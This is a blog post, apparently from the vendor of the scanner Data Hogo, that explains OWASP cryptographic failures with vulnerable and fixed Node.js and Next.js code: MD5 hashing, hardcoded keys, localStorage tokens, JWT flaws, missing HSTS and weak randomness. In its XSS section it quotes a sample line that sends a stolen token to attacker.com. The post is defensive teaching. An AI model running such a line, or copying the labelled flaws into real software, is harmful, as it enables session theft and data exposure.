OWASP A02 Cryptographic Failures Guide
OWASP A02:2021 Cryptographic Failures is the #2 web vulnerability. Learn how plaintext passwords, weak hashing, and hardcoded keys expose your users — with real code examples.
Rod
Founder & Developer
OWASP cryptographic failures — ranked #2 in the 2021 OWASP Top 10 — are responsible for some of the largest data breaches in history. Adobe, Equifax, T-Mobile. All of them. The common thread isn't sophisticated attacks. It's developers using the wrong tool for the job: MD5 instead of bcrypt, HTTP instead of HTTPS, a hardcoded string instead of an environment variable.
This guide covers every major cryptographic failure pattern with the exact code that causes it, the code that fixes it, and why the fix actually works.
What Are Cryptographic Failures (and Why They Moved Up to #2)
In the 2017 OWASP Top 10, this category was called Sensitive Data Exposure. The name described the symptom: user data ends up visible when it shouldn't be. The 2021 update renamed it Cryptographic Failures to describe the cause: the reason data gets exposed is that the cryptography protecting it was wrong, weak, or missing entirely.
It moved from #3 in 2017 to #2 in 2021 because the data got worse, not better. According to OWASP's own analysis, it was the most common root cause in significant data breaches reviewed for the 2021 update. The category maps to CWE-312 (Cleartext Storage of Sensitive Information) and CWE-327 (Use of a Broken or Risky Cryptographic Algorithm), among others.
The failure modes split into two buckets:
- Data at rest: Passwords stored in plaintext or with weak hashing. Encryption keys hardcoded in source code. Database backups with no encryption.
- Data in transit: Sensitive data sent over HTTP. Missing HSTS headers that allow protocol downgrade. Tokens stored in localStorage where XSS can grab them.
Both matter. Let's go through each one with real code.
Cryptographic Failure Patterns — With Vulnerable and Secure Code
Weak Password Hashing (MD5 and SHA-1)
This is the most common cryptographic failure and the one that causes the most damage when a database is breached.
// BAD: MD5 is a checksum algorithm, not a password hashing function.
// It runs in microseconds. An attacker with a GPU can test billions per second.
const hash = crypto.createHash('md5').update(password).digest('hex');MD5 was designed for data integrity checks — fast verification that a file wasn't corrupted in transit. That speed is exactly what makes it wrong for passwords. With modern hardware, an attacker can run through hundreds of millions of MD5 hashes per second. Add in pre-computed rainbow tables, and a 10-character password can be cracked in minutes.
SHA-1 and even plain SHA-256 have the same problem: they're designed to be fast. Password hashing algorithms are designed to be slow.
// GOOD: bcrypt is slow by design. Cost factor 12 means ~300ms per hash.
// That's fine for login. It's not fine for an offline brute-force attack.
import bcrypt from 'bcrypt';
// Hashing (at registration)
const hash = await bcrypt.hash(password, 12); // 12 = cost factor
// Verifying (at login)
const isValid = await bcrypt.compare(inputPassword, storedHash);If you're starting a new project in 2026, prefer argon2id — it won the Password Hashing Competition and is the current recommendation from NIST SP 800-63B.
// GOOD: argon2id is the current gold standard for password hashing
import argon2 from 'argon2';
const hash = await argon2.hash(password, { type: argon2.argon2id });
const isValid = await argon2.verify(hash, inputPassword);If you're migrating from MD5 or SHA-1 hashes: the safe approach is to re-hash on next login. When a user logs in, verify the old hash, then immediately replace it with bcrypt/argon2. You don't need to invalidate all sessions or force a password reset.
The passwords stored in plaintext encyclopedia entry covers the full spectrum from plaintext to bcrypt and how to detect this in a codebase.
Hardcoded Encryption Keys
Encryption is only as strong as the secrecy of your key. If the key is in your source code, it's in your Git history, your pull requests, your forks, and potentially your public GitHub repository.
// BAD: The key is in the source code. Anyone with repo access has it.
// Even if you delete it later, it's in Git history forever.
const key = "my-secret-key-123";
const iv = "1234567890123456";
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);This is CWE-321 (Use of Hard-coded Cryptographic Key). It's not theoretical — it's one of the most common findings in real repos. We see it constantly in Data Hogo scans, often in code that was written quickly and never revisited.
// GOOD: Key comes from environment variables, never from source code.
// In production, this lives in your secrets manager (AWS Secrets Manager,
// Doppler, Vault) — not just a .env file checked into the repo.
const key = process.env.ENCRYPTION_KEY;
const iv = process.env.ENCRYPTION_IV;
if (!key || !iv) {
throw new Error('Encryption key and IV must be set in environment variables');
}
const cipher = crypto.createCipheriv('aes-256-cbc', Buffer.from(key, 'hex'), Buffer.from(iv, 'hex'));The startup guard (if (!key || !iv)) is not optional. If the environment variable is missing in production and you don't check, you might silently fall back to undefined, which Node's crypto module will cast to a string — meaning your "encryption" uses the key "undefined". That's a real failure mode.
The hardcoded API keys encyclopedia entry and the secrets in committed .env files entry both cover the detection patterns. See also how to fix an exposed API key already in GitHub if you've already shipped this.
If your encryption key rotates (it should), you need a migration strategy for old ciphertext. Decrypting with the old key and re-encrypting with the new key is correct. Rotating the key without migrating old data means you can no longer decrypt anything stored before the rotation.
Tokens in localStorage Instead of httpOnly Cookies
This one is less obvious but extremely common in JavaScript apps — especially ones built with AI tools that optimize for "it works" over "it's secure."
// BAD: localStorage is accessible by any JavaScript on the page.
// If there's an XSS vulnerability anywhere on the site,
// an attacker can steal this token with: localStorage.getItem('token')
localStorage.setItem('token', jwtToken);
// Also bad: sessionStorage has the same problem
sessionStorage.setItem('authToken', jwtToken);The attack chain: your app has an XSS vulnerability somewhere (injected ad script, third-party library with a bug, an unescaped user input). The malicious script runs fetch('https://attacker.com?t=' + localStorage.getItem('token')). Session hijacked. This is the cookies without Secure flag problem combined with the wrong storage mechanism.
// GOOD: httpOnly cookies cannot be accessed by JavaScript at all.
// The browser sends them automatically with requests, but no script can read them.
// This is a server-side operation (e.g., in a Next.js API route or server action):
import { cookies } from 'next/headers';
export async function POST(request: Request) {
// ... authenticate user, get token ...
const cookieStore = await cookies();
cookieStore.set('session', token, {
httpOnly: true, // no JavaScript access
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 60 * 60 * 24 * 7, // 1 week
path: '/',
});
return Response.json({ success: true });
}The Secure flag means the browser will only send this cookie over HTTPS. Without it, the cookie goes over HTTP too — which means it can be captured in transit on any unencrypted network.
JWT Without Expiration and the "Algorithm None" Attack
JWTs have two common cryptographic failure modes that are distinct enough to cover separately.
No expiration (exp claim missing):
// BAD: Token never expires. If it's stolen, it's valid forever.
const token = jwt.sign({ userId: user.id }, process.env.JWT_SECRET);// GOOD: Short-lived tokens + refresh token rotation
const accessToken = jwt.sign(
{ userId: user.id },
process.env.JWT_SECRET!,
{ expiresIn: '15m' } // short-lived access token
);
const refreshToken = jwt.sign(
{ userId: user.id, type: 'refresh' },
process.env.JWT_REFRESH_SECRET!,
{ expiresIn: '7d' }
);The "algorithm none" attack: Some JWT libraries accept alg: "none" in the token header, which means "no signature required." An attacker can modify the payload and set the algorithm to none, and a vulnerable server will accept the modified token as valid.
// BAD: Not explicitly specifying the expected algorithm
const decoded = jwt.verify(token, process.env.JWT_SECRET);// GOOD: Always specify which algorithms you accept
const decoded = jwt.verify(token, process.env.JWT_SECRET!, {
algorithms: ['HS256'], // reject anything else, including 'none'
});The JWT algorithm none encyclopedia entry has the full technical breakdown of this attack.
Missing HTTPS and HSTS
Sending data over HTTP means it travels in plaintext across every network hop between your server and the user. Coffee shop Wi-Fi, corporate proxies, ISPs — anyone on the path can read it.
HTTPS alone isn't enough. Without HTTP Strict Transport Security (HSTS), a user's first request to your site might go over HTTP before being redirected to HTTPS — and that first request can be intercepted (SSL stripping attack).
// GOOD: HSTS header tells browsers to always use HTTPS for your domain.
// In Next.js, add this to next.config.ts:
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Strict-Transport-Security',
// max-age=31536000 = 1 year, includeSubDomains covers all subdomains
value: 'max-age=31536000; includeSubDomains; preload',
},
],
},
];
},
};The preload directive submits your domain to browsers' built-in HSTS preload lists — meaning the browser knows to use HTTPS even on the very first visit, before it's ever received an HSTS header from your server. You can check your current headers free with the security header checker.
Weak Random Number Generators for Security Operations
Math.random() is not cryptographically secure. It's predictable. Using it for tokens, session IDs, password reset links, or anything security-sensitive is CWE-338 (Use of Cryptographically Weak PRNG).
// BAD: Math.random() is seeded predictably. An attacker who knows
// your server's state can predict upcoming "random" values.
const resetToken = Math.random().toString(36).slice(2);// GOOD: crypto.randomBytes() uses the OS's cryptographically secure PRNG
import crypto from 'crypto';
// For tokens (URL-safe base64)
const resetToken = crypto.randomBytes(32).toString('base64url');
// For numeric codes (2FA, etc.)
const otp = crypto.randomInt(100000, 999999).toString();The weak PRNG encyclopedia entry explains the specific prediction attacks that work against Math.random() in V8.
How Real Breaches Happen: Adobe 2013
In October 2013, Adobe disclosed a breach affecting 153 million user records. The details, when researchers analyzed the leaked data, were instructive.
Adobe had used 3DES encryption to store passwords — not hashing, encryption. This means all passwords used the same encryption key. An attacker who got the key (which came with the database) could decrypt every single password in the database in one operation. Worse, identical passwords produced identical ciphertext, so researchers could identify common passwords by frequency analysis alone.
The Veracode State of Software Security 2025 report found that 79% of applications have at least one security vulnerability when first scanned. Cryptographic failures account for a significant share of them, and they tend to be the ones with the highest real-world impact when a breach occurs.
The lesson from Adobe isn't "use stronger encryption." It's "don't encrypt passwords at all — hash them." A hash cannot be reversed even if the database is fully compromised.
Cryptographic Failures Prevention Checklist
Here's what "correct" looks like across the board:
| Area | Wrong | Right |
|---|---|---|
| Password storage | MD5, SHA-1, SHA-256, bcrypt rounds < 10, plaintext | bcrypt (cost 12+) or argon2id |
| Encryption keys | Hardcoded strings, keys in .env committed to Git | Environment variables, secrets manager, key rotation |
| Token storage | localStorage, sessionStorage | httpOnly + Secure cookies |
| Transport | HTTP, HTTPS without HSTS | HTTPS + HSTS with preload |
| JWT | No expiry, algorithm not validated | Short expiry, explicit algorithm list |
| Random values | Math.random() | crypto.randomBytes() / crypto.randomInt() |
Practical Steps
For new projects:
- Set up HTTPS on day one. Every hosting platform (Vercel, Railway, Render, Fly.io) handles this automatically.
- Pick bcrypt or argon2id for passwords before you write a single registration handler.
- Use a secrets manager from the start. Doppler has a generous free tier. AWS Secrets Manager is what you'll end up on at scale.
For existing projects:
- Run a scan on your repo to find hardcoded secrets and weak crypto calls. Data Hogo's scanner flags
crypto.createHash('md5'),Math.random(), localStorage token patterns, and hardcoded key strings. - Check your deployed URL for missing HSTS and other security headers — the Next.js security headers guide covers exactly what to add.
- Audit your dependencies for known cryptographic vulnerabilities. A library using a broken algorithm in a transitive dependency is still your problem.
For teams:
- Add linting rules for the obvious ones. ESLint with
no-restricted-propertiescan flagMath.random()andcrypto.createHash('md5'). - Make secrets management part of your onboarding checklist. New developers should know what goes in
.env.exampleand what goes in the secrets manager before they write their first commit.
What Data Hogo Detects
When you scan a repository with Data Hogo, the cryptographic failure checks cover:
- Hardcoded secrets and encryption keys (matches against 200+ patterns across 30+ secret types)
- Weak hashing calls:
md5,sha1,sha256when used in password or token context Math.random()in security-sensitive code pathslocalStorage.setItemwith token, session, or auth keywords- Missing
httpOnlyandSecureflags in cookie configuration - JWT signing without expiration or without algorithm validation
- HTTP URLs in production configuration
- Missing HSTS on deployed URLs (when you provide a URL to scan)
Each finding links to the Data Hogo encyclopedia entry for that vulnerability, which explains the attack, the fix, and the exact code change needed.
If you're not sure whether your project has any of these — scan your repo free. The first scan takes under 60 seconds and you'll see findings organized by severity.
Frequently Asked Questions
What is OWASP A02:2021 Cryptographic Failures?
Cryptographic Failures (formerly "Sensitive Data Exposure" in OWASP 2017) covers any case where data is inadequately protected in transit or at rest. This includes storing passwords with weak or no hashing, transmitting data over HTTP instead of HTTPS, hardcoding encryption keys in source code, and using cryptographically weak algorithms like MD5 or SHA-1 for security purposes. It ranked #2 in the OWASP Top 10 2021 because it underpins so many high-severity breaches.
Is MD5 safe for hashing passwords?
No. MD5 is a fast hashing algorithm designed for data integrity checks, not password storage. An attacker with a modern GPU can crack an MD5 hash in seconds using pre-computed rainbow tables or brute force. For passwords, use bcrypt, scrypt, or argon2id instead — they are deliberately slow and include a built-in salt, making brute-force attacks impractical.
What is the difference between encryption and hashing?
Hashing is a one-way operation — you can't reverse a hash to get the original data. Encryption is two-way — you can decrypt encrypted data if you have the key. Passwords should always be hashed (not encrypted), because even if your database is compromised, a proper hash cannot be reversed. If you encrypt passwords, anyone with the key (including an attacker who steals it) can decrypt all passwords at once.
Where should I store JWT tokens — localStorage or cookies?
Use httpOnly cookies with the Secure flag, not localStorage. Tokens in localStorage are accessible by any JavaScript on the page — including injected scripts from an XSS attack. An httpOnly cookie cannot be read by JavaScript at all, which eliminates that attack vector. Add SameSite=Strict or SameSite=Lax to also protect against CSRF.
How does Data Hogo detect cryptographic failures?
Data Hogo scans your repository for hardcoded encryption keys and secrets, weak hashing function calls (MD5, SHA-1 used on what appears to be password or sensitive data), tokens stored in localStorage, missing Secure and httpOnly flags on cookie configuration, and missing HSTS headers on your deployed URL. Each finding links to a fix and includes the exact line of code where the issue was detected.
Cryptographic failures are one of those categories where fixing the problem is genuinely straightforward — once you know what to look for. The hard part is finding them in a codebase you didn't write from scratch, or one that's been growing for years.
Related Posts
OWASP A07 Authentication Failures Guide
OWASP A07 authentication failures with real code examples: weak passwords, JWT without expiry, localStorage tokens, no rate limiting, and how to fix each.
OWASP A01 Broken Access Control Guide
Broken access control is the #1 OWASP risk. This guide explains IDOR, missing auth checks, JWT tampering, and how to fix them with real Next.js code examples.
OWASP A08 Data Integrity Failures Guide
OWASP A08:2021 covers CI/CD attacks, unsafe deserialization, and missing SRI. Learn how integrity failures happen and how to prevent them in your pipeline.